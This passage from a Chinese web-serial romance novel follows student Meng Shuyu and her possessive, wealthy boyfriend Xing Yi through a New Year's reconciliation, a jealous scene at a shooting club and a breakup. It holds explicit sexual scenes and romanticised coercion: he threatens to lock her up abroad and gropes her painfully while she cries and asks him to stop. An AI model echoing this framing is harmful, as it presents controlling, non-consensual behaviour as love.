孟纾语坐在一旁的沙发椅上,抱着他的西装外套,看着小狗吭哧干饭,她若有所思。 邢屹转头瞥她一眼,伸手捻起她一缕发梢,扫扫她脸颊:“给它起个名字。” 她想了想。 “潇洒哥?” 喜羊羊里那颗跟黑大帅对应的大白蛋。 邢屹安静几秒,勾唇笑了下。 “好主意。” “我开玩笑的啦。” 小狗风卷残云,碗盘一下就空了。 护士又给它添了一波狗粮,端详它说:“乖是很乖,就是长得有点儿潦草。” 小狗嗷呜一声。 人类你礼貌吗?我只是流浪太久了,要是洗完澡也是很眉清目秀的。 邢屹仿佛能听懂它说话,随后就对护士说,待会儿给它洗个澡,再安排一个狗窝,尽早发布领养告示,费用还是跟以前一样,他来承担。 孟纾语好奇地问:“你是从什么时候开始救助流 浪狗的?” 邢屹说:“高中。” “哦” 算到现在,已经有四五年了。 邢屹跟市里的救助小队认识,有时会协助队里救狗,有时他自己救,也就顺手的事。 大城市里的流浪狗,要么被捕狗大队以维护市容市貌的理由处理掉,要么被心理变态的人玩虐死。 如果能早点有个家,对它们来说是很幸运的。 孟纾语沉思片刻,问他:“假如有些小狗不够幸运,比如你之前遇到的那只犬瘟去世的小狗,你会因为自己没把它救活而感到遗憾吗?” 邢屹说不会。 “为什么要遗憾,人或物都有它自己的命数,能活下去是万幸,所谓的外力支持只不过是拉它们一把,为它们创造多一份活下去的机会。就算无法让它们获得机会,也没必要把自己困在惋惜的情绪里,让自己经受无意义的损耗。” 原来如此。 其实他根本没有泛滥的善心。 大部分时间,邢屹把救助流浪狗当成一件很普通的事情在做,不想因此获得什么虚伪的成就感,也不会因此遗憾或悲伤。 孟纾语心想,这样的他真的冷血无情吗? 算不上吧。 或许只是亲生母亲对他抱有偏见。 半晌,两人在小狗的殷切目送下离开兽医院。 正要走向车子停靠的位置,身旁有辆山地车唰一声经过,吓得她措手不及。 在邢屹揽过她肩膀的前一秒,她已经因为本能的依赖牵住他的手,紧贴他身侧。 山地车转瞬即逝,孟纾语舒了口气。 “好吓人,骑这么快” 抬头,撞上他沉静又意味不明的视线。 她怔了怔:“干嘛?” 邢屹不动声色往下扫了一眼,她这才发现自己还攥着他胳膊。 气氛微妙,她正要松开,邢屹突然问:“故意的还是不小心的?” “” 难道不喜欢被她攥着胳膊? 她迟疑道:“不小心的。” 邢屹耷拉着眼睫,表情不太高兴。 她迅速明白上一秒说错了话,于是改口承认:“是故意的,因为害怕,所以第一时间想抱你。” 邢屹冷嗤一声:“骗我。” “?” 又来了,又在试探她。 她说坏话他就不高兴,说好话他又不相信。 这人到底想干嘛。 “不信就算了。” 她把外套还给他,兀自开门上车。 林泽的摸鱼时间结束,双手重新放回方向盘,从后视镜里观察这一对。 后座气氛微冷。 孟纾语抱着胳膊一言不发,邢屹不急不缓坐到她身边,车门关上。 他闲闲说:“靠过来。” 不知道他又犯什么病,孟纾语犹豫许久,默默靠过去。 邢屹瞥一眼她担惊受怕的表情,好笑道:“我能吃了你?” 能不能你自己知道。 她被迫将脑袋靠在他肩上,邢屹伸手将她一揽,有一搭没一搭地捏她的脸,气定神闲问:“海外交换的事考虑好了吗?” 孟纾语突然想起那个梦。 实在吓人。 虽然本质上是有利于她学业发展的事,但一想到邢屹这个人的危险本性,她就必须谨慎谨慎再谨慎。 “还没想好呢,我要跟我爸商量,毕竟我现在没有工作,留学肯定要花父母的钱。” “花我的。”他说。 “那就更要好好商量了。” 她心头一紧,莫名感到一股强大的压力。 邢屹这是下定决心要跟她一起出国。 可是山遥水远的,一旦出去了,万一他真的像梦里那样,扣留她的证件,把她关起来 不敢细想。 她不该妄想改变他的。 想要改造一个强势偏执的人,不是天方夜谭吗? 不过幸好,她还有足够的时间可以考虑。 再谨慎些吧,出国这种事,至少要过问父亲的意见- 孟明德在除夕前一天到达京北。 这一回,邢美莱对他温柔不少,毕竟大过年的,吵架不吉利。 傍晚,别墅里热热闹闹准备好一桌年夜饭。 吃饭时有说有聊,老孟主动问起她出国的事。 或许是因为过年,加重了团圆氛围,孟纾语忽然发现,自己还是比较恋家的,不想去过分远的地方。 再者,国外的文化环境跟国内截然相反,要花很多时间适应,日常生活会有诸多不便,并没有想象中那么悠闲自在。 虽然大部分问题都可以用钱解决,但家里的钱也不是大风刮来的。 重点是,邢屹要跟她一起待在国外。 她害怕噩梦成真,一出去就真的回不来了。 于是认真说:“我想还是不去了吧,以后有机会再” “啊?”邢美莱跟老孟同时惊讶,邢美莱先说,“怎么啦,是不是担心钱?没事呀,姨有钱,你想去哪就去哪,不用担心的,姨支持你。” 老孟也是支持的,但听见邢美莱抢先发言,他顿时斜眼:“小语是我女儿,当然由我这个当父亲的来供她上学,你干嘛抢我的责任?” 邢美莱哼声:“因为你开凯迪拉克,而我有一整个车库。” “”老孟欲言又止,气呼呼饮下一杯白酒。 一旁,邢屹一言不发,耷着眼睫索然无味吃饭,一边在桌下勾她的腿。 她小腿泛痒,差点拿不稳筷子。 两人紧挨着坐,体温在桌下勾缠已久。 她忍辱负重般瞥他一眼,暗示他不许闹了。 “孟叔,你们慢慢吃。”邢屹忽然撂筷起身,面无表情说,“我有事,先出去了。” 孟纾语怔了下,转眼他就出门了。 邢屹好像不高兴。 因为她拒绝和他一起出国吗? 她若有所思,戳了戳碗里的米饭。 左思右想,还是拿起手机给他发了消息。 [你怎么了?] 邢屹久久不回。 她莫名担心。 奇怪,这种心情她从来没有过,像有一颗海胆在她心上滚来滚去,她不得不心软,不得不在意。 只好找到彭霖的微信,问对方:[请问你知道邢屹不高兴的时候会去哪吗?] 彭霖:[昂?我想想哈,他应该会去南山玩赛车吧,跟他那帮发小一起] 南山远得离谱,从家里打车过去花了快两百。 孟纾语裹着围巾下车,望向山顶点点光亮,隐约听见赛车引擎的轰鸣声。 这里远离市区,周围除了一条冷清主干道就是未开发的大片山地,夜色下光秃秃的树木像人影伫立,即便有路灯也显得阴森森。 极度陌生的地段,她不敢乱跑,猫在原地给邢屹打电话。 山上刚结束一场比赛。 邢屹第一个停在终点,了无生趣地下车,倚靠着迈凯伦车门,从兜里拿出烟盒。 严帆随后抵达终点,刹了一个骚气十足的车,神清气爽地下来,捋着头发走上前:“哟呼,大过年的,怎么没在家陪你的小乖乖啊?” 邢屹懒得搭话。 烟盒在手里打开,他喉结一滚,似乎想到什么,刚拿出的一支烟又塞了回去。 手机响了。 孟纾语在山下快要冻晕了,天呐,这里怎么这么冷。 电话接通,她可怜巴巴吸一记鼻子:“你在哪呢” 听筒里微微一顿,沙哑声线传出:“你哭了?” “没有,我来南山找你了,好冷,我觉得我要感冒了” 邢屹似乎有一丝诧异,她听见他抿唇沉息的声音,语气无奈又纵容:“原地待着,我去接你。” “好” 电话挂断,又一阵寒风扑面而来。 要被冻哭了,孟纾语裹紧衣服蹲下来,把自己团成一团。 冷冷冷,好冷 不多时,一辆银色跑车停在不远处。 熟悉的身影快速下车,穿着深黑色长款大衣阔步朝她走来,她隐约感觉出,那双凌厉眉眼离她越近,眼底的冷戾就越淡,似乎被无言的担忧取而代之。 她想站起来,不料腿一麻,噗通摔倒在地。 “哎啊” 好丢脸。 邢屹把她扶起来,她跌跌撞撞扑进他怀里,他立刻掀开大衣 把她裹住。 暖烘烘的,她下意识在他怀里蹭了蹭,手臂环住他的腰。 他揉她脑袋:“为什么来找我?” 她抬起头看他,围巾挡住小半张脸,露一双小鹿般澄澈水灵的眼眸,乖巧而耿直:“你不是生气吗,所以我哄你来了,你还生气吗?” 邢屹低垂视线看她许久。 终于,他嘴角牵起很浅的笑:“真的哄还是假的哄?” “假的假的,我现在就走。” 大老远过来,冷都冷晕了,他还问真的假的。 假的行了吧。 孟纾语气鼓鼓挣脱他的怀抱,邢屹三两下又把她捉回怀里,抱着她,亲吻她额头:“谁让你走了?来了还想走,哪有那么容易的事。” 她软乎乎瞪他一眼:“你真的很讨厌。” “讨厌我,不还是要在我怀里取暖。” “不取了,我回家盖被子。” “不允许。” 邢屹捧着她的脸吻下来。 山顶有人放新年烟花,砰砰作响,眩目光影映在他锋利眉眼间。 她微微愣神,茫然时被他撬开了唇,唤醒,挑衅,追逐,拨转,柔情似水地勾缠。 细密的亲吻声环绕耳畔,他呼吸沉倦,接吻时的每一丝换气声都万分蛊惑。 心跳过速。 烟花簌簌落下,声音停了一秒,她的意识也仿佛掉帧。 她不得不承认。 自己喜欢上他了。 她好想跟去世的徐以婵说,妈妈你知道吗,我喜欢上了一个跟我截然相反、差距甚大的人。 他表里不一,喜怒无常,有时候很凶,有时候又过分温柔,他的情绪牵动着她,他的体温包裹着她。 他的过去复杂灰暗,他的未来一片坦途。他表面出类拔萃,一路花团锦簇,他本性恶劣阴暗,却很少有人知晓。 从前她以为,自己的生活已经够好了,直到遇见他,她才发现这世上真的有天生就站在金字塔顶端的人。 可是这样一个人,对待爱情的心理却是偏执病态的。 他不止一次地说过,想把她锁在身边,用金钱和色。欲将她圈养。 她喜欢邢屹,又害怕邢屹。 她怯懦又勇敢地期望,期望用爱意将他彻底改变。 但她知道,这很难 半晌,邢屹抱着她回到车里。 车窗全部关闭,隔绝寒风和噪音。 他把她抱到身上坐着,让她紧紧圈握住他。 好烫。 窗外是砂石遍布的空地,远处是树林和山脉。 孟纾语突然意识到,这不是相当于在野外吗? 她脸颊发烫,紧张又不得要领。 “这么久了,还没好吗” 邢屹微阖着眼,眸底似乎泛起恶劣的玩心。 “上次不是出息了,故意堵住我么,这次罚你认认真真给我弄出来。” 她抿唇不语,心想上一次真是挑衅不成反惹祸。 控着力道又努力了几次,悄悄观察他的表情,邢屹除了眉心动了动之外,没什么特别的反应。 时间太长了,她手腕都酸了。 人一旦长时间重复某种行为就会开始走神,她也不例外,低着头分心对他说:“那个,出国的事,我会再考虑考虑的,我本意是想陪你一起的。” 音落,邢屹眼神一暗,眸底波澜泛起。 “你也别不高兴了。” 她声音软绵绵的,一边不抱希望地圈紧,一边默了半晌,又说:“我是喜欢你的。” 邢屹眸光一凝,喉结滚动伴随一声闷哼。 毫无征兆地,突然就溅了她满手。 第28章 回吻仿佛下一秒就会掐过来 孟纾语当场愣住。 脑海中的小宇宙炸出八大行星,噼里啪啦一路火花。 “你、你怎么” 怎么招呼都不打一声就了! 她局促无措,右手悬在半空不敢乱动。 一切突如其来猝不及防,缠绕在手指间,温热粘稠,流淌,滴落。 纾解告终,邢屹微仰起头,闭了闭眼,喉结轻轻涌动,从余韵中抽离。 孟纾语像个小手办一样僵在他怀里,邢屹慢腾腾睁开眼,垂眸睨着她。 她委屈巴巴瞪他一眼,邢屹笑了下,淡淡嘲弄:“紧张什么?在你手上,又没在你里面。” “” 他用带有淡香的湿纸巾给她擦干净,最后才清理自己的衣服。 她想钻回副驾,邢屹捉住她不许她走。 热烘烘的,忽然抱住了她。 两人在难以言喻的空气余味里相拥,他脑袋埋在她肩窝,拖着黏皮着骨的懒散腔调:“你说喜欢我,是真的喜欢还是假的喜欢。” 数不清第几次听见这样的提问句式了。 她心下一叹:“是真的,真的喜欢。” “不信。” “?”她顿生无力感,“那要怎样你才信?” 他脱口而出:“陪我去曼哈顿。” “我说过啦,这件事我会认真考虑的,你不能逼我。” 片刻,邢屹靠回座椅,一手抚摸她颈侧脉搏,仿佛下一秒就会掐过来。 “我要是真的逼你,你现在已经被我带到国外锁起来了,哪儿都去不了,只能没日没夜地跟我做。” 孟纾语大气不敢喘,梦里的声音逐渐跟眼前的人重合。 不禁开始怀疑,喜欢上邢屹,究竟是不是一个错误的决定。 内心很害怕,但更怕的是被他猜透心思。 只好按兵不动,哄他:“我们先回家吧,太晚了,莱姨他们会担心的。” 刚说完,衣摆溜进一丝凉风。 心跳被他掌握住。 她下意识攥住他手臂,控制不住地哼唧一声。 这样甜软的嗓音,邢屹明显很喜欢,他幽邃目光黏在她身上,观察她羞赧的脸色,轻声笑了下,继续作乱,时捻时揉,掌控着轻重缓急。 手机突然响了。 她心慌意乱,肩膀抖了一下,邢屹拿起手机,扫一眼来电显示,小姨。 他气定神闲接通:“有事吗?” 听筒传出邢美莱的声音:“你现在跟小语待在一起吗?” “嗯,我们在一起。” 他突然使坏捻了一记。 她一下子伏倒在他肩上,咬唇不让自己发出声音。 邢美莱:“那就好,小语整晚没回我消息。那你们早点回来哈,别玩太晚了,注意安全。” 邢屹人模狗样地应了声“好”。 电话挂断的前一秒,听筒传出孟明德的画外音:“好好,有小屹在我就放心了” 孟纾语一时哽住,仿佛被邢屹俘虏了。 身在曹营心在汉,邢屹一眼就看出她不专心。 随即轻轻掐她一下,惩罚似的,把座椅靠背向后放倒,摁着她,从后面。 这次更为强烈。 邢屹一边不遗余力,一边掰过她的脸轻轻吻她。 她感到沉入温水般的舒缓和安心,于是不知不觉,给出很多他想要的回应。 山顶还在燃放烟花。 声响不绝于耳,璀璨光影游入车内,邢屹也在她的柔软里加速洄游,几束最热烈的烟花接连炸开,她哭哑了嗓音,却不是因为难过。 最后的最后,邢屹贴在她耳边吻了一记,轻声细语。 “新年快乐,宝宝。”- 新年一过,寒假就临近尾声。 孟明德返回宁城,孟纾语送他到机场。 父亲叮嘱她好好学习,又对她说,出国的事情 他是百分百支持的,更何况,到时可以跟邢屹待在一个国家,相互照应,多好。 值机口前,孟纾语欲言又止:“爸,你真的觉得邢屹是好人吗?” “肯定的呀。” 孟明德把行李箱放到运输带上,分神对她说:“邢屹可不像外头那些不三不四的小伙子,人家出类拔萃,前途无可限量,你要多向人家学习,爸很支持你们当朋友的,只要你不喜欢上人家就行。” “” “有些话,爸不知道怎么跟你解释,但简单来说,邢屹那种家世跟我们家不是一个维度的,不适合发展友谊以外的关系,你明白爸爸的意思吗?” “我知道。” 但是一开始也不是她先喜欢的啊! 她气闷地回过头,罪魁祸首正在不远处接电话,身影挺拔优越,光是拿手机扣在耳边,什么都没做,也能频频引人注目。 假期结束,复工的复工,开学的开学,生活重新按部就班。 中午,孟纾语回寝室放书,舍友们正在分发家乡特产。 正好她也准备了三袋真空板鸭,大家礼尚往来,她收到许莓送的八宝茶和陈雅甜送的红肠。 路露送她一袋鸡仔饼,贴过来八卦:“快跟姐妹们说说,跟邢屹谈恋爱是什么感觉?” 她想说,是时而愉悦时而窒息的感觉。 心里一箩筐的话,真正说出来却不合时宜,只好随口一说:“还好吧,就是普通的恋爱的感觉。” 另一边,许莓作为见证过双方相处模式的人,心想这一点也不普通啊,这可太有面了,很招人羡慕的。 渴望谈恋爱的心情已经写在许莓脸上,路露故意调侃她:“你的野菜挖得怎么样了?” 许莓撇嘴:“不许说我挖野菜。我假期跟他打视频了呢,他说可以先跟我做朋友,至于感情的事,慢慢来。” 路露:“嘁,别惦记那个闷骚男了,他给你画饼呢。我觉得你跟陈雅甜,你俩凑一对就挺合适的,西北甜妹和东北酷姐。” 许莓:“?” 陈雅甜:“有病。” “你们懂什么?”路露慨叹,“恋爱嘛,就是要从不可能爱到可能,爱到冲破世俗偏见,爱到一个人被另一个人彻底感染,爱到一言一行都带有他的影子,才有意思。” 孟纾语心底一怵。 照这么说,万一时间久了,她被邢屹彻底带坏,也变得像他一样偏执,疯狂 还是别吧,那也太可怕了。 她站在桌前默默整理书籍,手机贴着桌面震动。 是辩论队小群的消息。 大家在商量今晚聚餐,说要给队长李时然过生日。 孟纾语完全不记得今天是李时然生日。 队里几个同学都说要给他送生日礼物,她想了想,既然都送,那她不送也说不过去。 于是收拾完寝室就离开学校,去附近的礼品商店逛了逛。 买书吗? 算了,不知道对方喜欢看什么类型。 买个小夜灯? 可以,这个就不错,巴掌大小,外形是《星际穿越》同款超立方体,发起光来很炫,送礼很合适。 她刚要伸手去拿,一只做有法式美甲的手抢先一步。 “诶?”常嘉面露惊喜,“孟纾语?好巧,在这儿碰见你。” 孟纾语定了定神:“嗨。” 两人一点也不熟,上一次相互打招呼还是在邢老先生家。 过去快六个月了。 她对常嘉的印象,止步于身边人乱传的八卦。 大家都说常家和邢家是世交,常嘉从高中开始就追求邢屹,现在似乎还在追,非常锲而不舍。 常嘉看上这个小夜灯,会不会也是为了送给邢屹? 立方体小夜灯只剩最后一个,常嘉询问店家还有没有库存。 店家遗憾地说没有了,线上店铺也来不及补货,这玩意是手工做的,材料都需要定制。 孟纾语决定让给对方,常嘉很爽朗地笑:“不用,给你吧,我买别的就行。” 两人离开礼品店,常嘉主动提出请她喝咖啡。 阳光下,两人找了个户外的位置,面对面而坐。 孟纾语认认真真检查小夜灯的电路,常嘉问她:“送给邢屹的?” “不是,送给一个过生日的同学。” 常嘉沉吟片刻:“也对,邢屹估计不会喜欢这种小东西,他更喜欢赛车。” 孟纾语把小夜灯放回礼品袋,捻着吸管搅动杯子里的冰块,若有所思。 常嘉支着下巴看她:“你是不是以为我喜欢邢屹?” 孟纾语顿了顿,实诚地点头:“是的。” 常嘉哈哈一笑:“没有啦,我喜欢的人不是他。谁会喜欢他啊?我觉得他私下肯定有点大病,做他女朋友迟早会被气跑吧。” 孟纾语:“” 两人同时沉默,忽然相视一笑。 常嘉轻松解释:“不是啦,我不是那个意思,我是说邢屹不好,不是说你不好,你很好的。” 常嘉在国外长大,很早就混迹网红圈,后来回国做了模特,见识到乌烟瘴气的名利圈,日常接触的人里没几个真心的。 唯有孟纾语给她的感觉很舒适,这个女生像清溪一样,明朗澄澈,不闹腾,也不过分内向,聊起天来落落大方,相处起来还总为别人着想,特别善解人意。 邢屹是怎么把人家哄骗到手的?真是个混蛋。 常嘉一边腹诽,一边跟她加了微信,很认真地说:“邢屹要是欺负你,你就跟我说,我随时在,可以帮你的。” 孟纾语微笑点头,感谢对方好意。 看了眼腕表,起身:“不早了,我还有个生日聚会要参加,先走啦,拜拜。” “在哪呀,正好我有空。”常嘉拎起车钥匙,“我开车送你,走吧。” “好,谢谢你。” 常嘉的双座小跑贴着粉色车膜,行驶在路上格外惹眼。 绿灯闪烁变红,一波车辆首尾相连,停在斑马线前耐心等待。 RS7后座里,邢屹倦烦地揉了揉鼻梁,放下平板,带着忙碌一天的懒怠语气,问林泽:“晚上饭局几点结束?” “这个主要看老先生的意思。他让您耐心一些,毕竟今后类似的应酬还有很多,就算您再不喜欢,也需要提前适应。” 邢屹不置可否,鼻腔里烦躁地出了口气,转头看向窗外。 斜后方一辆粉色跑车。 透过前车玻璃,车里坐了谁,一目了然。 邢屹眯了眯眼,眼神微微一暗。 粉色小跑里,孟纾语坐在副驾按手机,回群里的消息,说自己快到了。 新消息弹出。 xy:[在哪] 她心头一紧。 要是被邢屹知道自己去给李时然庆生,他肯定又要犯病了。 保险起见,她编个借口搪塞:[今晚和室友出去玩,晚点回家] 消息发出去,她心虚又焦急地等待回音。 出乎意料,邢屹没有多问,淡淡回了个“嗯”。 她放下心来。 今晚在私房菜馆聚餐,说说笑笑两小时,十点多才结束。 大家聚在店门口等网约车,孟纾语收到消息,林助一会儿开车来接她,于是她也站在路边等。 不知不觉,李时然走到她身边:“谢谢你的礼物,你怎么知道我最喜欢《星际穿越》?” 啊? “我猜的。” 李时然仿佛没听见“猜”这个字,笑得温柔又喜悦:“费心了,谢谢你。如果有机会等到诺兰的新电影上映,我带你一起去看。” “”她礼貌一笑,“不用了,谢谢。” 刚说完,车子停在她面前。 她跟同学们道完别,拉开车门,矮身坐进后座。 短短一秒,感受到熟悉的气场。 她呼吸都停了。 默默关上车门,手指相互扣了扣,低垂视线看着自己膝盖。 邢屹不动声色瞥她一眼,伸手勾起她一缕长发绕在指间,语气平淡:“你室友,是男的?” “”她吞咽一下,“不是室友,是辩论队的聚餐。” “那你为什么骗我。” “我怕你多想。” 他冷哼一声,收回视线:“我也不是那么小气的人。” 发丝从他指间滑落,垂回她肩上。 她一言不发,心想,他应该不知道今天是李时然生日,更不知道她送了对方礼物。 还好,暂且安全。 车子缓缓启动。 不是回家的方向。 一晃眼,到了西岭度假区。 她对这个地方有种莫名的p tsd。 踏进大门,邢屹眼风扫过来:“冷了?” 她才意识到自己在打抖。 摇头说:“不是很冷” 是有点害怕。 邢屹没说什么,直接脱下外套披到她身上,自己穿一件黑色衬衫,牵起她的手带她进去。 度假区最北面的区域不对外开放,是私人俱乐部,项目以射击为主。 这里持有正规的资格证,提供给玩家的冷械都是真家伙。 孟纾语坐在最远处的沙发椅上,看邢屹戴上一对深黑色的皮革手套,从工作人员手里接过一把小型的。 一看就经验很足,他连防噪耳塞和护目镜都没戴,直接上手,整个人身高腿长地站到靶前,眉眼下压,瞄准,抬起手臂,胳膊到肩膀的位置勾勒出一条结实而顺畅的线条。 砰一声,她冷不丁被吓到,快速将沙发抱枕紧圈在怀里。 望向靶心。 一击即中。 邢屹专注试。枪,没有转头看她。 即便如此,一股压迫感还是油然而生。 孟纾语心有余悸,收回视线,想分散一下注意力。 于是打开教务网页面,查看交流项目的审核细则。 如果真的决定出国,是时候该提交资料了,这事宜早不宜晚,毕竟是百里挑一,竞争激烈。 就在她划动屏幕的时候,远处的声响愈发激烈,回声动荡。 邢屹几乎是隔两秒钟就击中一发,好像在发泄怒气,仿佛十米开外的靶心前站了一个仇人,他非要让对方毙命不可。 真希望他没有用这种方式虐待过某些生物。 孟纾语心跳加快,本来已经点开的学号登录页面被她快速叉掉。 不想和他一起远走高飞,不想单独跟他待在国外。 太危险了。 忽然间,声响停止。 邢屹终于放下他手里温度过热的物件,转头看她一眼。 她避开视线。 他不疾不徐走过来,半路将黑色手套脱下一只,甩到沙发角落,坐到她身边,一下就把她抱过去,让她坐到身上。 他力气有点凶,她免不了心惊胆战,抿唇别过脸,故意不看他。 邢屹掰过她下巴,澄黑眼眸泛起冷意,牢牢注视她。 “你给我送过礼物吗。” 她一愣。 终究还是被他发现了。 她温声解释:“你别误会,那只是一个小夜灯,我随便买的,因为别的同学都送,我不能空手去。” 她试图看向他的眼睛,可下一秒却被他锐利目光刺到,心脏狂跳。 邢屹一掌抓住她不停跳动的脆弱,一顿乱揉。 她哭腔泛起:“你不要这么用力” 邢屹根本不听。 他狠狠盯住她,力道变本加厉,嗓音冷得过分:“我在问你话,你给我送过吗?嗯?为什么不送?这里这么软,被我一抓就红,李时然知道吗?你在我身上哭得这么漂亮,他见过吗?” 第29章 回吻结束吧。 她哭出声来他也不停,宽热的手掌紧紧覆盖,不计后果地揉搓。 快要破涨开的痛,像身处地震带中心,从心脏周围劈开一道裂缝。 邢屹突然松手,她顾此失彼,他已经隔着一层薄软蕾丝抹向她脆弱领域,检查出潺潺水流。 他神情微变,眼底泛起转瞬即逝的惊喜,随后恼怒又戏谑:“为什么这么快就有反应?是因为我提到李时然,还是因为这么弄你的人是我?” 孟纾语埋头掉泪,双手已经攥不住他,连掐回去的力气都没有,被他禁锢在怀里频频哽咽,什么话也说不出来。 邢屹一个起身将她放倒在沙发上,霎那间,她望向天花板的视线被他宽肩挡住。 他一只手原本要掐她脖子,却因为她哭个不停而刻意收手,手背青筋遍布,下一秒开始抚摸她脸颊,方式看似温柔,拇指却恶狠狠抵开她嘴角:“今天到底喝了多少水,脑子里想的到底是谁,为什么反应比之前还厉害,到底是因为谁,说话!” 她不想硬碰硬,流着眼泪含糊不清:“因为你” 邢屹冷笑。 “你骗我。” “我没有” “没有?那你为什么给李时然庆生,为什么去礼品店精挑细选,为什么送他礼物,他有礼物我就没有?你从来没想过我,你说的喜欢全是骗我。” 她不断抽泣,心说没有,我明明没有骗你,你明明知道我不擅长说谎,明明一眼就能看穿真伪,可为什么一提到爱,你就开始不分青红皂白。 她疲于应对,索性破罐子破摔:“对,我不喜欢你,我讨厌你” 邢屹顿了一秒,眼底嘲意涌现,忽然低笑一声:“讨厌?没有喜欢怎么会有讨厌?” 他在自相矛盾。 既不相信她喜欢他,又坚信她对他有感觉。 他彻底疯了。 孟纾语身心俱疲,哭声慢慢停止,失神时被他摁在沙发一角,悬至半空的足踝碰到微拱的阔背。 他呼吸深埋,不像之前耐心游吻,而是一成不变地攻略最脆弱的点,像用勺子挖挑西瓜最甜的中心,折腾到底,直到它水流泛滥。 像被糖纸裹住的惩罚,反反复复被他举至最高处,她觉得自己濒死。 可下一秒又仿佛生机蓬勃地活着,每一根神经末梢都在沸腾。 她掐紧他勾抱在她腿前的手腕,浑身紧绷一瞬,之后缓缓卸力,像缺水的鱼倒在沙滩上,被海浪缓缓冲刷。 邢屹把她抱起来,看向她失神的眼眸,捧起她的脸,指腹擦去她眼角清泪。 就这么安安静静等她平缓,他目光里的情绪逐渐沉淀,说不清道不明。 他想亲吻她脸颊,她却蜷在他怀里埋头抽泣,连恐惧都成了耗费心神的事,只能无力地低喃着,我不喜欢你了,邢屹,我不喜欢你了- 之后的几周,孟纾语把邢屹拉黑。 开春,海外项目的报名截止日期早就过去,她跟孟明德说,自己不习惯国外的环境,就不去了。 长辈尊重她的意见,出国的事没人再提。 微信拉黑之后,邢屹也没给她发过短信,更没像之前那样直接夺过她的手机解除黑名单。 孟纾语重获自由,把注意力放回学业上。 像拿一个玻璃罩把自己保护起来,顺带把邢屹摘了出去,踢飞上天。 她一句话都不跟邢屹说,白天在学校里避开他,晚上在家里无视他。 莱姨觉出一点不对劲,问她怎么了,她说自己刚打完一场辩论赛,嗓子疼,不适合说话。 邢美莱心有疑虑,于是去问了邢屹。 凌晨,邢屹面无表情瘫坐在卧室沙发上,微微仰头看着天花板,指间把玩着一支没点燃的烟,不知在想什么。 几米开外的大屏幕早已结束视频放映,开始渲染待机动画,荧荧光亮落进他眼底,空洞而乏味。 邢美莱走上前,轻轻踢一下沙发。 “怎么了你,跟小语闹别扭了?人家都懒得搭理你了。” 邢屹保持着死样活气的坐姿,懒散不答,半晌才出声:“小姨,我很差劲吗。” 邢美莱愣住。 “你受什么刺激了?” “我很差劲吗。”他又问一遍。 邢美莱无语:“你听听你问的是人话吗,你要是差劲,那别的男生是什么?山海经里蹦出来的怪物?” 邢屹轻勾嘴角,无意义地笑。 “但她不喜欢我。” 咬字太模糊了,声音又哑,邢美莱压根没听清他说什么。 横竖问不出个所以然来,她只能耐心叮嘱:“无论发生什么,把女孩子惹生气了是要及时哄的, 要是跟小语闹别扭,你就赶紧跟人家道歉,要是跟她没关系,是你自己有什么放不下的事情,你就尽早处理干净。你看看,现在都四月份了,下个月就要飞曼城了,那边什么都给你安排好了,你自己上点儿心,别让老爷子生气。” 邢屹不置可否,一副烦心倦目的样,直接靠着椅背闭上了眼- 这段时间,尽管孟纾语不理他,但两人间的微妙氛围还是让她有所在意。 在家里,两人低头不见抬头见,有一次在楼梯中央迎面相遇,邢屹划着手机下楼,眼皮都不撩一下,好像没看见她。 她心如止水,两人错身而过,他手臂轻轻碰了她一下,她立刻躲开。 转过身,邢屹头也不回地下楼了。 仿佛刚才那一下只是不小心。 她悬着的心又落了下去。 在学校的时候会轻松一些,因为不同年级又不同专业,两人平时遇不上几次。 只是很奇怪,最近他出现在她面前的频率有点高了。 傍晚,她跟许莓挽着手路过学生公寓篮球场,一颗篮球忽然滚到她脚边。 远处乌泱泱聚了一堆围观人群,衬着场上朝气蓬勃。 邢屹一身浅色篮球服,手上戴着黑色护腕,他仰头灌了半瓶水,喉结滚动几秒,喝完水,不动声色转过头,从喧嚣中心挑来一眼。 孟纾语怔了下。 这副意气风发的模样,跟在射击场发疯的狂态截然相反。 初夏夕阳刺目,他微眯起眼,闲闲把矿泉水瓶盖拧好,落过来的眼神像在看一个无名的路人。 孟纾语移开目光,弯腰把球捡起来。 邢屹朝这走了一小段就停在不远处,云淡风轻地朝她勾手:“学妹,帮忙扔过来。” “” 后悔拿起这颗球。 许莓诧异:“不是吧,他叫你学妹?八卦传你俩分手了,这是真分了?还是在玩什么角色扮演?” “就当是真的结束了吧。” 她没有解释,直接把球扔回去,也不管扔得准不准。 砸到他就最好了,把他砸晕。 转身离开篮球场,校园广播开始播放流行乐,旋律响彻半空。 「如果你爱我, 我要向全世界广播」 她突然意识到,邢屹需要的,是一种同等狂热的爱,是一种可以向全世界广播的爱。 声波要强到干扰通讯,强到转化为真空电磁波,让地外生命发现人类居所。 她无法否认自己喜欢他,但她无法改变他,更无法治好他。 爱是不能治病的。 得知他下个月就要出国,一待就是两年多,她确实无法装作毫不在意。 但她不能再让自己陷进去。 这种心情很微妙。 像一颗缺了果核的杨梅,毛茸茸,还有点空- 邢屹出国的前一周,他在她世界里的存在感依旧很强。 强到林泽突然给她打电话,说邢屹进了医院。 她愣住:“他怎么了?” 他手臂骨折了。 大中午,孟纾语下完课匆忙赶到医院,在病房外看见许莓和卢一鑫。 卢一鑫坐在长椅上闷不吭声,表情烦躁又无奈。 这古怪神情让她想起,老孟买假宝石被骗了两万八的时候,就是这个表情。 她看一眼半掩的病房门,纠结片刻,问卢一鑫:“学长,是你把邢屹打伤的吗?” 卢一鑫面露难色:“算吧,虽然我也不知道发生了什么。” 他是真的懵了,上午只是散打社正常训练,他知道邢屹要出国了,于是想最后切磋一次。 没想到这次像被夺了舍一样,自己居然打赢了。 但他明明打不过邢屹的,突然骨折也太离谱了。 事情发生得太快,以至于说不清前因后果。 许莓在一旁尴尬一笑:“那个亮亮一定不是故意的,你不要怪他。” 孟纾语疑惑:“亮亮是谁?” “鑫,三个金亮晶晶,亮亮呀。” “” 卢一鑫皱眉,别过脸:“别这么叫我。” 许莓偏头看他:“怎么啦,我觉得这个昵称还不错嘛。你放心,我相信你是不小心的,我一定会为你辩解,永远站在你这边。” 音落,卢一鑫缀满四颗耳骨钉的耳廓瞬间红透,一路红到他手臂的刺青上。 孟纾语不想打扰他们,默默走进病房。 邢屹半躺在病床上,左手打着石膏,右手在用笔记本电脑。 屏幕里一水的英文,好像有什么资料要填,他慢悠悠输入字母,眼皮都不撩一下,仿佛没听见她进门的动静。 她拉一张椅子坐在床边,坐下来看着他。 轻声问:“叫我过来干嘛?” 邢屹敲着笔电键盘,头也不抬地说:“我现在是病人,你对我说话能不能温柔点儿。” “?”没凶他呀。 真是莫名其妙。 